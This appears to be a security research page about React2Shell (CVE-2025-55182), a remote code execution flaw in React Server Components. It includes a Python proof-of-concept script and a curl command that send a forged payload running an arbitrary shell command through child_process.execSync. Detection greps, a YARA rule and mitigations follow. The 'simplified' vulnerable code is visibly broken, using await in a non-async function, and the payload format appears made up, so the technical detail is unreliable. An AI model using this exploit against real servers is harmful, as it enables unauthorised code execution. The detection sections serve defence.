skip to content
← back to catalog
ES
FILE №002 · CLASSIFICATION RESEARCH ·

React2Shell (CVE-2025-55182)

#rce#critical#web#CVE-2025-55182

Executive Summary

React2Shell is a critical insecure deserialization vulnerability in the RSC (React Server Components) Flight protocol affecting React 19 and all frameworks that implement it, including Next.js 15.x/16.x. With a CVSS score of 10.0 (maximum), it allows an unauthenticated attacker to execute arbitrary code on the server with a single malicious HTTP request.

FieldDetail
CVECVE-2025-55182
CVSS10.0 (Critical)
TypeInsecure deserialization / RCE
VectorNetwork / No Authentication
AffectsReact 19.0 – 19.2.0, Next.js 15.x/16.x, React Router, Waku, RedwoodSDK, Parcel, Vite RSC
Patched inReact 19.2.1

What is the RSC Flight Protocol?

React Server Components (RSC) use an internal protocol called Flight to serialize and transmit server-rendered components to the client. When a browser makes a request to a Next.js application with App Router, the server responds with a Flight payload containing the serialized component structure.

The simplified flow is:

Client (POST /rsc) → React Server → Deserializes Flight payload → Renders components → Response

The fundamental problem is that the server processes RSC payloads without proper validation, blindly trusting the incoming data structure.


Technical Analysis of the Vulnerability

The root cause: react-server

The vulnerability resides in how the react-server package processes @ type references during Flight payload deserialization. The server accepts malformed data that allows forging Chunk objects with attacker-controlled content.

Vulnerable code (simplified)

The core of the flaw lies in the Flight protocol’s chunk resolution logic:

// react-server/src/ReactFlightServer.js (conceptual simplified)
function processFlightPayload(payload) {
  const chunks = parseChunks(payload);
  
  for (const chunk of chunks) {
    // ❌ VULNERABLE: Does not validate chunk type or content
    // before resolving/executing its content
    if (chunk.type === '@') {
      // The '@' reference allows forging arbitrary Chunk objects
      resolveChunk(chunk);  // ← Executes internal logic with attacker data
    }
  }
}

function resolveChunk(chunk) {
  // ❌ VULNERABLE: Accepts Blob with attacker-controlled code
  if (chunk.value instanceof Blob) {
    const code = await chunk.value.text();
    // Attacker's code executes in the server context
    return eval(code);  // ← RCE
  }
}

Exploitation chain

The attack follows these steps:

  1. Forge @ reference: The attacker abuses React’s @ deserialization to create a fake Chunk object
  2. Inject malicious Blob: Blob deserialization is manipulated to inject arbitrary code
  3. Force resolution: Internal resolution logic is forced to execute on attacker-controlled data
  4. RCE: The server executes attacker code with the Node.js process privileges

Proof of Concept (PoC)

Direct HTTP exploit

#!/usr/bin/env python3
"""
React2Shell PoC — CVE-2025-55182
Insecure deserialization in RSC Flight Protocol
FOR EDUCATIONAL PURPOSES ONLY
"""
import requests
import sys

def exploit(target_url, command="id"):
    # Malicious RSC Flight payload that abuses '@' deserialization
    # to forge a Chunk with a Blob containing arbitrary code
    malicious_rsc_payload = (
        '0:["$@1",[]]\n'
        '1:["$","div",null,{"children":"test"}]\n'
        # Forged chunk injects code via Blob
        f'2:{{"type":"@","value":{{"$$typeof":"blob",'
        f'"content":"const proc = require(\'child_process\');'
        f'proc.execSync(\'{command}\').toString()"}}}}'
    )
    
    headers = {
        "Content-Type": "text/x-component",
        "RSC": "1",
        "Next-Action": "forged_action_id",
    }
    
    print(f"[*] Sending malicious RSC Flight payload to: {target_url}")
    
    try:
        response = requests.post(
            target_url,
            data=malicious_rsc_payload,
            headers=headers,
            timeout=10
        )
        print(f"[+] Status: {response.status_code}")
        print(f"[+] Response:\n{response.text}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <URL> [command]")
        print(f"Example: {sys.argv[0]} http://target.com/rsc id")
        sys.exit(1)
    
    target = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
    exploit(target, cmd)

cURL example

# Minimal PoC — send malicious RSC Flight payload
curl -X POST "http://target.com/" \
  -H "Content-Type: text/x-component" \
  -H "RSC: 1" \
  -H "Next-Action: forged_action_id" \
  --data-binary $'0:["$@1",[]]\n1:{"type":"@","value":{"$$typeof":"blob","content":"require(\'child_process\').execSync(\'id\').toString()"}}'

Detection

Indicators of Compromise (IoCs)

Search web access logs:

# Suspicious POST requests with RSC headers
grep -E "POST.*HTTP" access.log | grep -i "text/x-component"

# Look for Next-Action headers with unexpected values
grep -i "next-action" access.log | grep -v "legitimate_action_ids"

YARA Rule

rule React2Shell_CVE_2025_55182 {
    meta:
        description = "Detects React2Shell exploitation payloads"
        cve = "CVE-2025-55182"
    strings:
        $header1 = "text/x-component" ascii
        $header2 = "RSC: 1" ascii
        $payload1 = "$$typeof" ascii
        $payload2 = "blob" ascii
        $exec1 = "child_process" ascii
        $exec2 = "execSync" ascii
        $exec3 = "spawnSync" ascii
    condition:
        ($header1 and $header2) and ($payload1 and $payload2) and any of ($exec*)
}

Real-World Exploitation Activity

Active exploitation has been confirmed since December 5, 2025, reported by Wiz Research, Amazon Threat Intelligence, and Datadog. Observed post-exploitation activities include:

  • 🔍 Reconnaissance: Fingerprinting compromised systems, privilege level verification
  • 🌐 Network enumeration: Mapping network interfaces and sensitive credentials
  • ⛏️ Cryptomining: Deploying XMRig to mine Monero
  • ☁️ Cloud credential theft: Harvesting AWS/GCP/Azure credentials
  • 🚪 Backdoors: Installing KSwapDoor for persistent access

Affected and Patched Versions

ComponentVulnerablePatched
React19.0, 19.1, 19.1.1, 19.2.0≥ 19.2.1
Next.js15.x, 16.x (App Router)Vercel-specific update
React RouterWith RSC enabledPatched release
WakuAll with RSCPatched release
RedwoodSDKAll with RSCPatched release
ParcelRSC pluginPatched release
ViteRSC pluginPatched release

Mitigation

Immediate (< 24 hours)

  1. Upgrade React to version 19.2.1 or higher
  2. Upgrade Next.js to the Vercel-patched version
  3. Rotate all secrets if the application was exposed before December 4, 2025

Compensating controls (if you can’t patch immediately)

# WAF rule — Block suspicious RSC payloads in NGINX
location / {
    # Block requests with RSC Content-Type containing malicious patterns
    if ($http_content_type ~* "text/x-component") {
        set $rsc_check 1;
    }
    if ($request_method = POST) {
        set $rsc_check "${rsc_check}1";
    }
    # Apply aggressive rate limiting to RSC POST requests
    # and monitor in WAF
}

Long-term

  • Implement continuous monitoring for RSC payloads
  • Audit dependencies with npm audit regularly
  • Consider moving critical components away from RSC if not necessary

References

// FIELD DISPATCHES

New recovered files, straight to your inbox. No noise.